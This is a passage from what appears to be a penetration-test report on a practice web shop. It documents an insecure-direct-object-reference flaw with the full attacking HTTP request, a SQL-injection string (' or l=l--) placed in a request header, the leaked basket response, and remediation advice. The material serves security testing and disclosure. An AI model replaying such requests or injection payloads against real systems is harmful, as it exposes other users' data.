

HIGH | CVSS 7.5

Description: The API references user cart objects via sequential integer IDs without validating whether the requesting session owns the target basket. Modifying the basket identifier from 1 to 2 exposes unauthorized user cart contents.

Request		Response	
Pretty	Raw	Pretty	Raw
<pre>GET /rest/basket/2 HTTP/1.1 Host: localhost:3000 sec-ch-ua-platform: "Windows" Authorization: Bearer eyJ0eXkiOiJKVjQiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXZWxibWlkaXIjoXLCJleCtYybmFtcZSI6IlileImVtViwiOiJoYWVkeSAnPnQvYUoCcgnub3AALCBwTg3dSc2Sy2CiGiJAkOTiwMjhmNzIzdmcMjUWNTEKZZjAGOWmThiNTFAwLiwicssZSi6ImFkbWUiWiLi2GVsdDhlVGdsW41OitILCBwTGMOTGSnaWSJCi6IAisInbyBic2phIGVjbWFnZSI6ImFsc2VOcySwvdWJsawWtaWh2ZVa3LVbhGShZHHR2GVhaTYGaREPhbW1udlnbuZyLnlndSRHRTZMNWZX0XoiAILCLpcOfjdGL2SIGIdHJI2SViY3JJYGRIZERFOIjoimAjAYNIowOC0yflAwDoIDNDocNC4SMhgKgMaovAiwiadSkHyXRLEZFOLioimJayNIowCOCyfAWDoIDNDocNC4SMhgKgMaovAiwiadSkHyXRLEZFOLipudWsfSviYalkIJexLCJPYXXojE3ODDe4MJkE4NdDs.17x_EET-GTFRMFDokUrYmblyayecorUHFEFeFBACK_rGSHbn-w5_xlispq16UVasZe_xggAT9QM-100LIURSApDF7MH-QsiRiq_7slraAPjhucGQjMtS4lcWJuot2TLlgdB300eqVR3UlqtWKMZhTHzcXPfePgYdvSvs7xzQQOHqpQA_s</pre>			
<pre>Accept-Language: en-US,en;q=0.9 sec-ch-ua: ("Not:A=Brand";v="9", "Chromium";v="150") sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Accept: application/json, text/plain, */* X-User-Email: ' or l=l-- Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:3000/ Accept-Encoding: gzip, deflate, br Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss ; continueCode=eyJRWblRo7YksBaajQ3pSaJEDmgOBHVVServlvPNazq6KVZOrMDqlLogILE; token=eyJ0eXkiOiJKVjQiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXZWxibWlkaXIjoXLCJleCtYybmFtcZSI6IlileImVtViwiOiJoYWVkeSAnPnQvYUoCcgnub3AALCBwTg3dSc2Sy2CiGiJAkOTiwMjhmNzIzdmcMjUWNTEKZZjAGOWmThiNTFAwLiwicssZSi6ImFkbWUiWiLi2GVsdDhlVGdsW41OitILCBwTGMOTGSnaWSJCi6IAisInbyBic2phIGVjbWFnZSI6ImFsc2VOcySwvdWJsawWtaWh2ZVa3LVbhGShZHHR2GVhaTYGaREPhbW1udlnbuZyLnlndSRHRTZMNWZX0XoiAILCLpcOfjdGL2SIGIdHJI2SViY3JJYGRIZERFOIjoimAjAYNIowOC0yflAwDoIDNDocNC4SMhgKgMaovAiwiadSkHyXRLEZFOLioimJayNIowCOCyfAWDoIDNDocNC4SMhgKgMaovAiwiadSkHyXRLEZFOLipudWsfSviYalkIJexLCJPYXXojE3ODDe4MJkE4NdDs.17x_EET-GTFRMFDokUrYmblyayecorUHFEFeFBACK_rGSHbn-w5_xlispq16UVasZe_xggAT9QM-100LIURSApDF7MH-QsiRiq_7slraAPjhucGQjMtS4lcWJuot2TLlgdB300eqVR3UlqtWKMZhTHzcXPfePgYdvSvs7xzQQOHqpQA_s</pre>			
<pre>HTTP/1.1 200 OK Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Feature-Policy: payment 'self' X-Requiting: /#/jobs Content-Type: application/json; charset=utf-8 Content-Length: 557 ETag: W/"22d-vlj8jFsm18ZYdn4duWWZGsCs" Vary: Accept-Encoding Date: Thu, 27 Aug 2026 09:14:44 GMT Connection: keep-alive Keep-Alive: timeout=5</pre>			
<pre>{ "status": "success", "data": { "id": 2, "coupon": null, "userId": 2, "createdAt": "2026-08-27T08:54:16.008Z", "updatedAt": "2026-08-27T08:54:16.008Z", "products": [{ "id": 4, "name": "Raspberry Juice (1000ml)", "description": "Made from blended Raspberry Pi, water and sugar.", "price": 4.99, "deluxePrice": 4.99, "image": "raspberrypi_juice.jpg", "createdAt": "2026-08-27T08:54:15.782Z", "updatedAt": "2026-08-27T08:54:15.782Z", "deletedAt": null }] } }</pre>			

Remediation: Implement server-side verification ensuring `basket.UserId === req.user.id` before returning object records, and utilize non-sequential UUIDs.

1

The identified vulnerabilities compromise application confidentiality and access governance. Remediation must prioritize parameterizing database statements to eliminate SQL Injection, followed by centralized access control filters to prevent IDOR traversal across customer assets.